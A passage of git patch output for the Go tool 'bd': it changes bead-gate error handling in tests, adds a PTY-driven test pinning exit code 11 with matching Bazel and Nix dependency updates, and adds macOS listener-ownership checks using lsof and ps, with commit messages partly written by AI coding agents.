tt.awaitID) } @@ -219,7 +222,7 @@ func TestCheckBeadGate_InvalidCrossRigFormat(t *testing.T) { } func TestCheckBeadGate_EmptyAwaitID(t *testing.T) { - satisfied, reason := checkBeadGate(context.Background(), nil, "") + satisfied, reason, _ := checkBeadGate(context.Background(), nil, "") if satisfied { t.Error("expected not satisfied for empty await_id") } @@ -240,7 +243,7 @@ func TestCheckBeadGate_LocalBead(t *testing.T) { }, } - satisfied, reason := checkBeadGate(ctx, st, "bd-closed") + satisfied, reason, _ := checkBeadGate(ctx, st, "bd-closed") if !satisfied { t.Errorf("expected satisfied for closed local bead, got reason %q", reason) } @@ -248,7 +251,7 @@ func TestCheckBeadGate_LocalBead(t *testing.T) { t.Errorf("reason %q does not mention closed", reason) } - satisfied, reason = checkBeadGate(ctx, st, "bd-open") + satisfied, reason, _ = checkBeadGate(ctx, st, "bd-open") if satisfied { t.Error("expected not satisfied for open local bead") } @@ -259,7 +262,7 @@ func TestCheckBeadGate_LocalBead(t *testing.T) { func TestCheckBeadGate_LocalBeadNotFound(t *testing.T) { st := &fakeBeadGateGetter{issues: map[string]*types.Issue{}} - satisfied, reason := checkBeadGate(context.Background(), st, "bd-missing") + satisfied, reason, _ := checkBeadGate(context.Background(), st, "bd-missing") if satisfied { t.Error("expected not satisfied for missing local bead") } @@ -269,18 +272,125 @@ func TestCheckBeadGate_LocalBeadNotFound(t *testing.T) { } func TestCheckBeadGate_LocalBeadLookupError(t *testing.T) { - st := &fakeBeadGateGetter{err: errors.New("dolt exploded")} - satisfied, reason := checkBeadGate(context.Background(), st, "bd-abc") + // A store that cannot be read is an error, not a pending gate: the + // caller must be able to tell "dolt is down" from "still waiting". + boom := errors.New("dolt exploded") + st := &fakeBeadGateGetter{err: boom} + satisfied, reason, err := checkBeadGate(context.Background(), st, "bd-abc") if satisfied { t.Error("expected not satisfied on lookup error") } - if !gateTestContainsIgnoreCase(reason, "dolt exploded") { - t.Errorf("reason %q does not carry the lookup error", reason) + if err == nil { + t.Fatal("expected a lookup error to be returned as an error") + } + if !errors.Is(err, boom) { + t.Errorf("err = %v, want it to wrap the lookup error", err) + } + if !gateTestContainsIgnoreCase(err.Error(), "dolt exploded") { + t.Errorf("err %q does not carry the lookup error", err) + } + if reason != "" { + t.Errorf("reason = %q, want empty on an error", reason) + } +} + +func TestCheckBeadGate_LocalBeadNotFoundErrorStaysPending(t *testing.T) { + // A getter that reports absence through an error (the routed getter + // surfaces storage.ErrNotFound; the proxied fresh-read getter surfaces + // sql.ErrNoRows) is a missing bead, not a broken store. + for _, tt := range []struct { + name string + err error + }{ + {name: "storage sentinel", err: storage.ErrNotFound}, + {name: "wrapped storage sentinel", err: fmt.Errorf("lookup bd-missing: %w", storage.ErrNotFound)}, + {name: "sql no rows", err: sql.ErrNoRows}, + {name: "partial-id resolver text", err: errors.New("no issue found matching bd-missing")}, + } { + t.Run(tt.name, func(t *testing.T) { + st := &fakeBeadGateGetter{err: tt.err} + satisfied, reason, err := checkBeadGate(context.Background(), st, "bd-missing") + if err != nil { + t.Fatalf("not-found must stay pending, got error %v", err) + } + if satisfied { + t.Error("expected not satisfied for a missing bead") + } + if !gateTestContainsIgnoreCase(reason, "not found") { + t.Errorf("reason %q does not mention not found", reason) + } + }) + } +} + +func TestEvaluateGates_BeadStoreErrorCountsAsError(t *testing.T) { + // The bead arm used to drop the lookup error on the floor, so a dead + // store reported every bead gate as pending and the check exited 0. + gate := &types.Issue{ID: "bd-gate", IssueType: "gate", AwaitType: "bead", AwaitID: "bd-abc"} + st := &fakeBeadGateGetter{err: errors.New("dolt exploded")} + + results := evaluateGates(context.Background(), []*types.Issue{gate}, time.Now(), st, nil) + if len(results) != 1 { + t.Fatalf("results = %d, want 1", len(results)) + } + if results[0].err == nil { + t.Fatal("expected the store error on the result") + } + if results[0].resolved { + t.Error("a store error must not resolve the gate") + } + + closeCalls := 0 + var resolved, escalated, errCount int + _ = captureGateStdout(t, func() { + resolved, escalated, errCount = applyGateCheckResults(results, false, false, func(*types.Issue, string) error { + closeCalls++ + return nil + }) + }) + if errCount != 1 || resolved != 0 || escalated != 0 { + t.Errorf("counts = (resolved %d, escalated %d, errors %d), want (0, 0, 1)", resolved, escalated, errCount) + } + if closeCalls != 0 { + t.Errorf("closeResolved called %d times on an errored gate", closeCalls) + } +} + +func TestPrintGateCheckSummary_ErrorsFailTheCommand(t *testing.T) { + origJSON := jsonOutput + t.Cleanup(func() { jsonOutput = origJSON }) + + for _, tt := range []struct { + name string + json bool + errors int + wantErr bool + }{ + {name: "clean sweep", errors: 0, wantErr: false}, + {name: "one unreadable gate", errors: 1, wantErr: true}, + {name: "json still fails", json: true, errors: 2, wantErr: true}, + } { + t.Run(tt.name, func(t *testing.T) { + jsonOutput = tt.json + var err error + out := captureGateStdout(t, func() { + err = printGateCheckSummary(3, 1, 0, tt.errors, false) + }) + if (err != nil) != tt.wantErr { + t.Fatalf("err = %v, wantErr %v (output %q)", err, tt.wantErr, out) + } + if !strings.Contains(out, "Checked 3 gates") { + t.Errorf("summary line missing from output %q", out) + } + if tt.wantErr && !strings.Contains(err.Error(), "could not be checked or closed") { + t.Errorf("err %q does not say the gates could not be checked or closed", err) + } + }) } } func TestCheckBeadGate_NilStoreStaysPending(t *testing.T) { - satisfied, reason := checkBeadGate(context.Background(), nil, "bd-abc") + satisfied, reason, _ := checkBeadGate(context.Background(), nil, "bd-abc") if satisfied { t.Error("expected not satisfied with no store") } From 45b62e47b5e2893ad0e9d5108549dc1be32d0887 Mon Sep 17 00:00:00 2001 From: Steve Yegge Date: Tue, 6 Oct 2026 23:06:06 +0000 Subject: [PATCH 017/213] =?UTF-8?q?test(protocol):=20pin=20=C2=A7E3=20exit?= =?UTF-8?q?=2011=20with=20a=20PTY=20harness=20(wy-vh5y8)=20(#4762)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(protocol): pin §E3 exit 11 with a PTY harness (wy-vh5y8) Exit 11 (ExitLocalExistsRefused) is returned only from the interactive typed-confirmation abort in `bd init --reinit-local` (cmd/bd/init.go, behind term.IsTerminal on stdin); the non-interactive branch of the same guard returns 12, so no piped-stdin subprocess could produce 11. WP4 (wy-ge2h8) therefore left TestProtocol_ExitCode11_LocalExistsRefused skipped. Un-skip it with a PTY-backed run: allocate a pty (creack/pty, a test-only dep already in go.sum), drive `bd init --reinit-local` against a workspace seeded with one issue, answer the "Type 'destroy N issues' to confirm:" prompt with the WRONG text, and assert exit 11 — distinct from the 12 a bad --destroy-token yields. Also asserts the abort is a no-op (the seeded issue survives). Windows skips (no unix PTY). creack/pty is imported only from _test.go, so it is a test-only dependency; no new non-test dependency enters go.mod. Co-Authored-By: Claude Opus 4.8 * chore(build): register github.com/creack/pty with Bazel and Nix The exit-11 PTY test imports github.com/creack/pty, a new direct require in go.mod. The base's generated build manifests predate it: - Bazel (`make bazel-sync`): //cmd/bd/protocol:protocol_test failed "missing strict dependencies" on the import, and go_deps reported com_github_creack_pty missing from use_repo. The sync adds it to MODULE.bazel's use_repo and adds @com_github_creack_pty//:pty to protocol_test's deps. protocol_race_off, protocol_docker_test and protocol_dolt_test all wrap protocol_test, so that one deps line covers them. Running the same sync on the base changes nothing. - Nix: default.nix sets proxyVendor = true, so vendorHash covers the module download set of go.mod's requires, and the new require changes it. Regenerated via the nixos/nix container: the go-modules fixed-output derivation now builds with no hash mismatch, and the unwrapped package compiles cmd/bd. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * test(protocol): fix exit-code header, name a skipped reinit prompt Review fixups, adopt-pr review loop iteration 1 (synthesis approve, scorecard 981/1000, no blocker or major findings). Taken: - Header (Finding 2): it said all three refusal codes (10/11/12) refuse before bd opens any store. That stopped being true once exit 11 ran: its typed confirmation fires only after --reinit-local counts the issues in a seeded workspace, so that test pays for a full store, as 130 does. The header now says 10 and 12 are store-free and 11 and 130 are not. - Prompt-skip diagnostic (Finding 3): runInitReinitPreflight skips the confirmation, with no warning, when countExistingIssues errors (it has its own 5s timeout) or counts zero. The review expected that skip to exit 0 in the early-exit arm. A mutation run with the seed issue dropped shows it does not: the reinit goes on and blocks at init's next TTY prompt, "Change role? [y/N]:", so the test fails at the prompt deadline. The deadline arm now names the skip when the output lacks the "Re-initializing will destroy" warning. Failure path only. Declined: - Shared prompt harness (Finding 1): extracting it rewrites the base-owned 130 test (pipes, SIGINT, t.Parallel) into a new helper after review. The synthesis allows accepting the duplication in the reply to the reviewer instead. - Redundant "!= 12" check (Finding 4): it mirrors the 12 test's own "codes must stay distinct" check, so the tests keep one idiom. Validation: gofmt and go vet are clean. TestProtocol_ExitCode10/11/12/130 pass against the dolthub/dolt-sql-server:2.2.0 test container with BEADS_PROTOCOL_REQUIRE_DOLT=1, so exit 11 ran rather than skipped. The seed-dropped mutant fails with the new message. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 4.8 Co-authored-by: Eddie the Engineer --- MODULE.bazel | 2 +- cmd/bd/protocol/BUILD.bazel | 1 + cmd/bd/protocol/exit_codes_init_test.go | 138 ++++++++++++++++++++++-- default.nix | 2 +- go.mod | 1 + 5 files changed, 134 insertions(+), 10 deletions(-) diff --git a/MODULE.bazel b/MODULE.bazel index e5fe1df52..91f6a2f42 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -50,7 +50,7 @@ go_deps.module_override( patches = ["//third_party/patches:gozstd_nocgo.patch"], path = "github.com/dolthub/gozstd", ) -use_repo(go_deps, "com_github_anthropics_anthropic_sdk_go", "com_github_burntsushi_toml", "com_github_cenkalti_backoff_v4", "com_github_charmbracelet_x_ansi", "com_github_data_dog_go_sqlmock", "com_github_dolthub_dolt_go", "com_github_dolthub_driver_v2", "com_github_dolthub_eventkit", "com_github_dolthub_go_mysql_server", "com_github_dolthub_vitess", "com_github_go_sql_driver_mysql", "com_github_google_uuid", "com_github_gowebpki_jcs", "com_github_invopop_jsonschema", "com_github_johanneskaufmann_html_to_markdown_v2", "com_github_mattn_go_sqlite3", "com_github_microcosm_cc_bluemonday", "com_github_oapi_codegen_oapi_codegen_v2", "com_github_olebedev_when", "com_github_spf13_cobra", "com_github_spf13_pflag", "com_github_spf13_viper", "com_github_stretchr_testify", "com_github_subosito_gotenv", "com_github_testcontainers_testcontainers_go", "com_github_testcontainers_testcontainers_go_modules_dolt", "com_github_yuin_goldmark", "in_gopkg_yaml_v3", "io_opentelemetry_go_otel", "io_opentelemetry_go_otel_exporters_otlp_otlpmetric_otlpmetrichttp", "io_opentelemetry_go_otel_exporters_stdout_stdoutmetric", "io_opentelemetry_go_otel_exporters_stdout_stdouttrace", "io_opentelemetry_go_otel_metric", "io_opentelemetry_go_otel_sdk", "io_opentelemetry_go_otel_sdk_metric", "io_opentelemetry_go_otel_trace", "io_rsc_script", "land_charm_glamour_v2", "land_charm_huh_v2", "land_charm_lipgloss_v2", "org_golang_x_mod", "org_golang_x_net", "org_golang_x_sync", "org_golang_x_sys", "org_golang_x_term") +use_repo(go_deps, "com_github_anthropics_anthropic_sdk_go", "com_github_burntsushi_toml", "com_github_cenkalti_backoff_v4", "com_github_charmbracelet_x_ansi", "com_github_creack_pty", "com_github_data_dog_go_sqlmock", "com_github_dolthub_dolt_go", "com_github_dolthub_driver_v2", "com_github_dolthub_eventkit", "com_github_dolthub_go_mysql_server", "com_github_dolthub_vitess", "com_github_go_sql_driver_mysql", "com_github_google_uuid", "com_github_gowebpki_jcs", "com_github_invopop_jsonschema", "com_github_johanneskaufmann_html_to_markdown_v2", "com_github_mattn_go_sqlite3", "com_github_microcosm_cc_bluemonday", "com_github_oapi_codegen_oapi_codegen_v2", "com_github_olebedev_when", "com_github_spf13_cobra", "com_github_spf13_pflag", "com_github_spf13_viper", "com_github_stretchr_testify", "com_github_subosito_gotenv", "com_github_testcontainers_testcontainers_go", "com_github_testcontainers_testcontainers_go_modules_dolt", "com_github_yuin_goldmark", "in_gopkg_yaml_v3", "io_opentelemetry_go_otel", "io_opentelemetry_go_otel_exporters_otlp_otlpmetric_otlpmetrichttp", "io_opentelemetry_go_otel_exporters_stdout_stdoutmetric", "io_opentelemetry_go_otel_exporters_stdout_stdouttrace", "io_opentelemetry_go_otel_metric", "io_opentelemetry_go_otel_sdk", "io_opentelemetry_go_otel_sdk_metric", "io_opentelemetry_go_otel_trace", "io_rsc_script", "land_charm_glamour_v2", "land_charm_huh_v2", "land_charm_lipgloss_v2", "org_golang_x_mod", "org_golang_x_net", "org_golang_x_sync", "org_golang_x_sys", "org_golang_x_term") # Hermetic Dolt CLI for tests (tools/bazel/dolt.bzl pins the release to # scripts/ci/install-dolt.sh). //tools/bazel:dolt selects the repository for diff --git a/cmd/bd/protocol/BUILD.bazel b/cmd/bd/protocol/BUILD.bazel index 3d551d4fe..fe4310f4c 100644 --- a/cmd/bd/protocol/BUILD.bazel +++ b/cmd/bd/protocol/BUILD.bazel @@ -49,6 +49,7 @@ go_test( "//internal/storage/schema", "//internal/testutil", "//internal/testutil/bazeltest", + "@com_github_creack_pty//:pty", ], ) diff --git a/cmd/bd/protocol/exit_codes_init_test.go b/cmd/bd/protocol/exit_codes_init_test.go index 4114277c2..c4b95dadf 100644 --- a/cmd/bd/protocol/exit_codes_init_test.go +++ b/cmd/bd/protocol/exit_codes_init_test.go @@ -13,10 +13,12 @@ // spelling still has to exit 10 when it refuses a divergent init. New stable // codes require a spec revision. // -// The refusal codes (10/11/12) are cheap to drive: `bd init` refuses before it +// The refusal codes 10 and 12 are cheap to drive: `bd init` refuses before it // opens any store, so those tests need only a built binary and a temp git repo. -// 130 is the exception — cancellation is only reachable on the success path, so -// that test pays a full store creation before the prompt it interrupts. +// 11 and 130 each pay for a full store before the prompt they exercise: 11's +// typed confirmation fires only once --reinit-local has counted the issues in a +// seeded workspace, and 130's cancellation is only reachable on the success +// path, after the store is created. package protocol import ( @@ -31,6 +33,8 @@ import ( "sync" "testing" "time" + + "github.com/creack/pty" ) // Literal exit codes frozen by §E3. Deliberately NOT bd's Go constants: the @@ -166,15 +170,133 @@ func TestProtocol_ExitCode12_DestroyTokenMissing(t *testing.T) { } } -// TestProtocol_ExitCode11_LocalExistsRefused is the §E3 gap: exit 11 is +// TestProtocol_ExitCode11_LocalExistsRefused pins §E3's exit 11: exit 11 is // returned only from the INTERACTIVE typed-confirmation abort in // `bd init --reinit-local` (cmd/bd/init.go, guarded by term.IsTerminal on // stdin). The non-interactive branch of the same guard returns 12 instead, so -// no piped-stdin subprocess can produce 11 — pinning it needs a PTY-backed run -// helper, tracked in wy-vh5y8. Un-skip when that lands. +// no piped-stdin subprocess can produce 11 — the prompt only fires on a real +// terminal. This test allocates a PTY (creack/pty, a test-only dependency), +// drives `bd init --reinit-local` on it against a workspace with issues, answers +// the "Type 'destroy N issues' to confirm:" prompt with the WRONG text, and +// asserts the abort exits 11 — distinct from the 12 an agent supplying a bad +// --destroy-token would get, so a script can tell "the operator declined at the +// prompt" from "the token was wrong". func TestProtocol_ExitCode11_LocalExistsRefused(t *testing.T) { - t.Skip("exit 11 is reachable only through an interactive TTY prompt; needs a PTY harness (wy-vh5y8)") - _ = exitLocalExistsRefused + if runtime.GOOS == "windows" { + t.Skip("no unix PTY on Windows; the exit-11 interactive prompt is unreachable here") + } + // Deliberately NOT t.Parallel(): this test drives a PTY with a generous + // prompt deadline and a reader goroutine. newWorkspace already gives it an + // isolated per-test Dolt database, so serializing it costs nothing but keeps + // the PTY interaction free of contention noise. + + w := newWorkspace(t) + // The exit-11 prompt only fires when --reinit-local has data to destroy: + // countExistingIssues must return > 0, so seed one issue. + w.create("--title", "seed issue for exit-11 refusal", "--type", "task") + + cmd := exec.Command(w.bd, "init", "--reinit-local") + cmd.Dir = w.dir + // CI= / BD_NON_INTERACTIVE=0 mirror the 130 test: strip any ambient signal + // that would push bd onto a non-interactive path. The exit-11 branch keys on + // term.IsTerminal(stdin) directly, which the PTY below already satisfies; + // these just guard against an earlier non-interactive short-circuit. + cmd.Env = append(w.env(), "BD_NON_INTERACTIVE=0", "CI=") + + ptmx, err := pty.Start(cmd) + if err != nil { + t.Fatalf("pty.Start bd init --reinit-local: %v", err) + } + defer func() { _ = ptmx.Close() }() + + var ( + mu sync.Mutex + output bytes.Buffer + promptSeen = make(chan struct{}) + once sync.Once + ) + // Drain the PTY continuously: the child writes the warning and prompt to the + // same terminal, and an unread PTY can block the writer. Signal promptSeen + // once the confirmation prompt appears. + go func() { + buf := make([]byte, 4096) + for { + n, readErr := ptmx.Read(buf) + if n > 0 { + mu.Lock() + output.Write(buf[:n]) + if strings.Contains(output.String(), "to confirm:") { + once.Do(func() { close(promptSeen) }) + } + mu.Unlock() + } + if readErr != nil { + return + } + } + }() + + waitCh := make(chan error, 1) + go func() { waitCh <- cmd.Wait() }() + + got := func() string { + mu.Lock() + defer mu.Unlock() + return output.String() + } + + // Like the 130 test, the deadline covers a whole store connection, not just + // process startup: reaching the prompt means counting the existing issues, + // which opens the workspace's Dolt store — tens of seconds on a loaded box. + const promptDeadline = 120 * time.Second + select { + case <-promptSeen: + case err := <-waitCh: + t.Fatalf("bd init --reinit-local exited before prompting: %v\n%s", err, got()) + case <-time.After(promptDeadline): + _ = cmd.Process.Kill() + <-waitCh + out := got() + if !strings.Contains(out, "Re-initializing will destroy") { + // runInitReinitPreflight skips the confirmation, without a warning, + // when countExistingIssues errors (it has its own 5s timeout) or + // counts zero. The reinit then goes on and blocks at init's next + // TTY prompt (e.g. "Change role? [y/N]:"), which lands here. + t.Fatalf("timed out waiting for the destroy-confirmation prompt: the reinit preflight never warned, so it skipped the confirmation (its issue count failed, e.g. the 5s store timeout lapsed, or found none)\n%s", out) + } + t.Fatalf("timed out waiting for the destroy-confirmation prompt\n%s", out) + } + + // Answer with text that is NOT "destroy N issues": the typed-confirmation + // mismatch is exactly what returns exit 11. + if _, err := ptmx.Write([]byte("definitely not the confirmation\n")); err != nil { + t.Fatalf("write wrong confirmation to PTY: %v", err) + } + + var waitErr error + select { + case waitErr = <-waitCh: + case <-time.After(30 * time.Second): + _ = cmd.Process.Kill() + <-waitCh + t.Fatalf("bd did not exit after the wrong confirmation\n%s", got()) + } + + var exitErr *exec.ExitError + if !errors.As(waitErr, &exitErr) { + t.Fatalf("expected a non-zero exit after wrong confirmation, got %v\n%s", waitErr, got()) + } + if code := exitErr.ExitCode(); code != exitLocalExistsRefused { + t.Errorf("exit code = %d, want %d (§E3 local-exists refusal)\n%s", code, exitLocalExistsRefused, got()) + } + if code := exitErr.ExitCode(); code == exitDestroyTokenMissing { + t.Errorf("local-exists refusal collapsed into the destroy-token code — §E3 codes must stay distinct") + } + + // The abort must be a no-op: the seeded issue must survive. + if out := w.run("list", "--json"); !strings.Contains(out, "seed issue for exit-11 refusal") { + t.Errorf("aborted reinit destroyed data — seeded issue missing:\n%s", out) + } } // TestProtocol_ExitCode130_PromptCanceled pins §E3's exit 130: SIGINT at an diff --git a/default.nix b/default.nix index d9418ef3e..8f5fdadf4 100644 --- a/default.nix +++ b/default.nix @@ -19,7 +19,7 @@ buildGoModule { # proxyVendor avoids vendor/modules.txt consistency checks when the vendored # tree lags go.mod/go.sum. proxyVendor = true; - vendorHash = "sha256-hVZpgCMYmR64mVQWZjdEjjJhQdhPeFYRlAKh4VXKHiE="; + vendorHash = "sha256-9OqMZK3wL838RGOXuOsKZvcyqk43tCmv75EUo+iqSVQ="; # Match go.mod to the selected Nix Go toolchain. buildGoModule also builds # vendored dependencies in the Nix sandbox, where toolchain downloads are not diff --git a/go.mod b/go.mod index 40c6d484e..8c47b11c6 100644 --- a/go.mod +++ b/go.mod @@ -13,6 +13,7 @@ require ( github.com/JohannesKaufmann/html-to-markdown/v2 v2.5.2 github.com/anthropics/anthropic-sdk-go v1.71.0 github.com/cenkalti/backoff/v4 v4.3.0 + github.com/creack/pty v1.1.24 github.com/dolthub/driver/v2 v2.2.0 github.com/dolthub/eventkit v0.0.0-20260611184414-99f5693e696a github.com/go-sql-driver/mysql v1.10.1 From d4309098e5551e183b1750b6d11afa7168c95e9a Mon Sep 17 00:00:00 2001 From: Bee Date: Tue, 6 Oct 2026 23:24:18 +0000 Subject: [PATCH 018/213] fix(doltserver): prove listener ownership on darwin with lsof and ps (#7232) (#7257) On macOS listenerOwnership always answered known=false, so once a foreign process greeted on the port chosen for a new dolt sql-server, Start adopted that listener as its own (the default log level emits no ready line to disprove it). TestStart_RecoversWhenEphemeralPortIsTaken has failed on the Main workflow's macOS job on every push since #7201 (14/14 completed runs); PR CI has no macOS test job, so no PR saw it. Darwin has no /proc, so the listener's processes come from lsof and the process tree from ps, the two tools this package already uses to find a port's holder and a server's working directory. Each pid lsof lists on the port is walked up its parent chain; reaching the child proves the listener is the child's (or a descendant's, for a wrapper that does not exec). Both reads run only once a greeting has arrived, never on the bare poll. known is false when either tool fails or lists no listener at all, and Start then falls back to the greeting as before. A child that no longer exists is known not to own anything, as on Linux. The tests that were Linux-only because ownership was only provable there now run on darwin too, and the darwin file gets its own fake-read table, parser tests, and a real-tool test with an in-process listener and a listener in a grandchild process. On this machine the formerly red test passes 10/10 (it failed 40/40 on main). Co-authored-by: Claude Fable 5.1 --- internal/doltserver/BUILD.bazel | 2 + internal/doltserver/listenerowner_darwin.go | 141 ++++++++++++++++++ .../doltserver/listenerowner_darwin_test.go | 140 +++++++++++++++++ internal/doltserver/listenerowner_other.go | 2 +- internal/doltserver/startowned.go | 4 +- internal/doltserver/startowned_test.go | 16 +- 6 files changed, 294 insertions(+), 11 deletions(-) create mode 100644 internal/doltserver/listenerowner_darwin.go create mode 100644 internal/doltserver/listenerowner_darwin_test.go diff --git a/internal/doltserver/BUILD.bazel b/internal/doltserver/BUILD.bazel index 05e2b6db0..7fd648465 100644 --- a/internal/doltserver/BUILD.bazel +++ b/internal/doltserver/BUILD.bazel @@ -7,6 +7,7 @@ go_library( "doltserver_unix.go", "doltserver_windows.go", "gc_config.go", + "listenerowner_darwin.go", "listenerowner_linux.go", "listenerowner_other.go", "logrotate.go", @@ -63,6 +64,7 @@ go_test( "fdleak_integration_test.go", "gc_config_test.go", "lifecycle_integration_test.go", + "listenerowner_darwin_test.go", "listenerowner_linux_test.go", "logrotate_test.go", "managed_server_proof_test.go", diff --git a/internal/doltserver/listenerowner_darwin.go b/internal/doltserver/listenerowner_darwin.go new file mode 100644 index 000000000..6e7f9a412 --- /dev/null +++ b/internal/doltserver/listenerowner_darwin.go @@ -0,0 +1,141 @@ +//go:build darwin + +package doltserver + +import ( + "errors" + "os/exec" + "strconv" + "strings" + "syscall" +) + +// The two process reads listenerOwnership makes on darwin; tests replace them. +var ( + listeningPIDs = lsofListeningPIDs + processParents = psParentPIDs +) + +// listenerOwnership reports whether a TCP listener on port belongs to pid or +// one of its descendants. Darwin has no /proc, so the listener's processes +// come from lsof and the process tree from ps, the same two tools this +// package already uses to find a port's holder and a server's working +// directory. Descendants cover a dolt behind a wrapper script that does not +// exec: the listener's ancestor chain then passes through the wrapper, which +// is the child bd launched. +// +// known is false when the tools cannot answer, and the caller then falls back +// to weaker readiness evidence: +// - lsof or ps is missing or fails; +// - no listener on port is listed at all, although one just answered: lsof +// cannot see another user's sockets without privilege, or the connection +// is forwarded elsewhere. +// +// A child that no longer exists is known not to own anything. +// +// Both reads run only once a greeting has arrived on the port, never on the +// bare readiness poll, and together cost on the order of 100ms. +func listenerOwnership(pid, port int) (owned, known bool) { + if !processExists(pid) { + return false, true + } + holders, err := listeningPIDs(port) + if err != nil || len(holders) == 0 { + return false, false + } + parents, err := processParents() + if err != nil || len(parents) == 0 { + return false, false + } + for _, holder := range holders { + if descendsFrom(holder, pid, parents) { + return true, true + } + } + return false, true +} + +// processExists is true while pid names a process this user may signal, or +// one that exists but belongs to someone else. +func processExists(pid int) bool { + if pid <= 0 { + return false + } + err := syscall.Kill(pid, 0) + return err == nil || errors.Is(err, syscall.EPERM) +} + +// descendsFrom reports whether p is ancestor itself or one of its +// descendants, walking p's parent chain through parents (child -> parent). +// A chain that reaches a pid the snapshot does not list, pid 0, or a cycle +// (a stale snapshot) is not a match. +func descendsFrom(p, ancestor int, parents map[int]int) bool { + seen := map[int]bool{} + for p > 0 && !seen[p] { + if p == ancestor { + return true + } + seen[p] = true + next, ok := parents[p] + if !ok { + return false + } + p = next + } + return false +} + +// lsofListeningPIDs lists the processes holding a TCP listener on port. +// -n and -P skip host and port name lookups, which otherwise dominate the +// run time; -t prints one pid per line. lsof exits 1 with no output when +// nothing matches, which is reported as no listener, not as an error, so the +// caller treats both the same way. +func lsofListeningPIDs(port int) ([]int, error) { + out, err := exec.Command("lsof", "-nP", "-t", "-iTCP:"+strconv.Itoa(port), "-sTCP:LISTEN").Output() //nolint:gosec // G702: port is an internal int, not user input + if err != nil && len(out) == 0 { + var exitErr *exec.ExitError + if errors.As(err, &exitErr) && exitErr.ExitCode() == 1 { + return nil, nil + } + return nil, err + } + return parseLsofPIDs(out), nil +} + +// parseLsofPIDs reads `lsof -t` output: one pid per line. +func parseLsofPIDs(out []byte) []int { + var pids []int + for _, line := range strings.Split(string(out), "\n") { + if pid, err := strconv.Atoi(strings.TrimSpace(line)); err == nil && pid > 0 { + pids = append(pids, pid) + } + } + return pids +} + +// psParentPIDs snapshots every process's parent from `ps -axo pid=,ppid=`. +func psParentPIDs() (map[int]int, error) { + out, err := exec.Command("ps", "-axo", "pid=,ppid=").Output() + if err != nil { + return nil, err + } + return parsePSParents(out), nil +} + +// parsePSParents reads `ps -axo pid=,ppid=` output into child -> parent. +func parsePSParents(out []byte) map[int]int { + parents := map[int]int{} + for _, line := range strings.Split(string(out), "\n") { + fields := strings.Fields(line) + if len(fields) != 2 { + continue + } + pid, err1 := strconv.Atoi(fields[0]) + ppid, err2 := strconv.Atoi(fields[1]) + if err1 != nil || err2 != nil || pid <= 0 { + continue + } + parents[pid] = ppid + } + return parents +} diff --git a/internal/doltserver/listenerowner_darwin_test.go b/internal/doltserver/listenerowner_darwin_test.go new file mode 100644 index 000000000..01f514d37 --- /dev/null +++ b/internal/doltserver/listenerowner_darwin_test.go @@ -0,0 +1,140 @@ +//go:build darwin + +package doltserver + +import ( + "errors" + "os" + "os/exec" + "strconv" + "testing" + "time" +) + +func withProcessReads(t *testing.T, pids func(int) ([]int, error), parents func() (map[int]int, error)) { + t.Helper() + origPIDs, origParents := listeningPIDs, processParents + listeningPIDs, processParents = pids, parents + t.Cleanup(func() { listeningPIDs, processParents = origPIDs, origParents }) +} + +func TestListenerOwnership_FakeReads(t *testing.T) { + self := os.Getpid() + tree := map[int]int{self: 1, 501: self, 502: 501, 600: 1, 700: 700} + cases := []struct { + name string + pids []int + pidsErr error + parents map[int]int + parentsErr error + owned bool + known bool + }{ + {name: "child holds the listener", pids: []int{self}, parents: tree, owned: true, known: true}, + {name: "grandchild holds the listener (wrapper)", pids: []int{502}, parents: tree, owned: true, known: true}, + {name: "foreign process holds it", pids: []int{600}, parents: tree, owned: false, known: true}, + {name: "foreign and own both listed", pids: []int{600, 501}, parents: tree, owned: true, known: true}, + {name: "holder missing from the snapshot", pids: []int{999}, parents: tree, owned: false, known: true}, + {name: "cyclic snapshot does not loop", pids: []int{700}, parents: tree, owned: false, known: true}, + {name: "no listener listed", pids: nil, parents: tree, owned: false, known: false}, + {name: "lsof fails", pidsErr: errors.New("lsof: not found"), parents: tree, owned: false, known: false}, + {name: "ps fails", pids: []int{self}, parentsErr: errors.New("ps: not found"), owned: false, known: false}, + {name: "empty snapshot", pids: []int{self}, parents: map[int]int{}, owned: false, known: false}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + withProcessReads(t, + func(int) ([]int, error) { return tc.pids, tc.pidsErr }, + func() (map[int]int, error) { return tc.parents, tc.parentsErr }, + ) + owned, known := listenerOwnership(self, 1) + if owned != tc.owned || known != tc.known { + t.Errorf("listenerOwnership = (%v, %v), want (%v, %v)", owned, known, tc.owned, tc.known) + } + }) + } +} + +func TestListenerOwnership_DeadChildIsKnown(t *testing.T) { + withProcessReads(t, + func(int) ([]int, error) { t.Fatal("listener read on a dead child"); return nil, nil }, + func() (map[int]int, error) { t.Fatal("tree read on a dead child"); return nil, nil }, + ) + if owned, known := listenerOwnership(1<<30, 1); owned || !known { + t.Errorf("listenerOwnership(no such pid) = (%v, %v), want (false, true)", owned, known) + } +} + +func TestParseLsofPIDs(t *testing.T) { + got := parseLsofPIDs([]byte("12245\n\n 77360 \nnot-a-pid\n0\n")) + want := []int{12245, 77360} + if len(got) != len(want) { + t.Fatalf("parseLsofPIDs = %v, want %v", got, want) + } + for i := range want { + if got[i] != want[i] { + t.Fatalf("parseLsofPIDs = %v, want %v", got, want) + } + } +} + +func TestParsePSParents(t *testing.T) { + got := parsePSParents([]byte(" 1 0\n 501 1\n12245 501\nbad line here\n 77360 x\n")) + want := map[int]int{1: 0, 501: 1, 12245: 501} + if len(got) != len(want) { + t.Fatalf("parsePSParents = %v, want %v", got, want) + } + for k, v := range want { + if got[k] != v { + t.Fatalf("parsePSParents[%d] = %d, want %d", k, got[k], v) + } + } +} + +// TestListenerOwnership_RealTools mirrors the Linux real-/proc test: our own +// in-process listener is ours, a pid that does not exist owns nothing, a +// sibling process's listener is not ours, and a listener in a child process +// we spawn is ours through the tree. +func TestListenerOwnership_RealTools(t *testing.T) { + if _, err := exec.LookPath("lsof"); err != nil { + t.Skip("lsof not on PATH") + } + port := foreignGreeter(t) + if owned, known := listenerOwnership(os.Getpid(), port); !owned || !known { + t.Errorf("listenerOwnership(self, own listener) = (%v, %v), want (true, true)", owned, known) + } + if 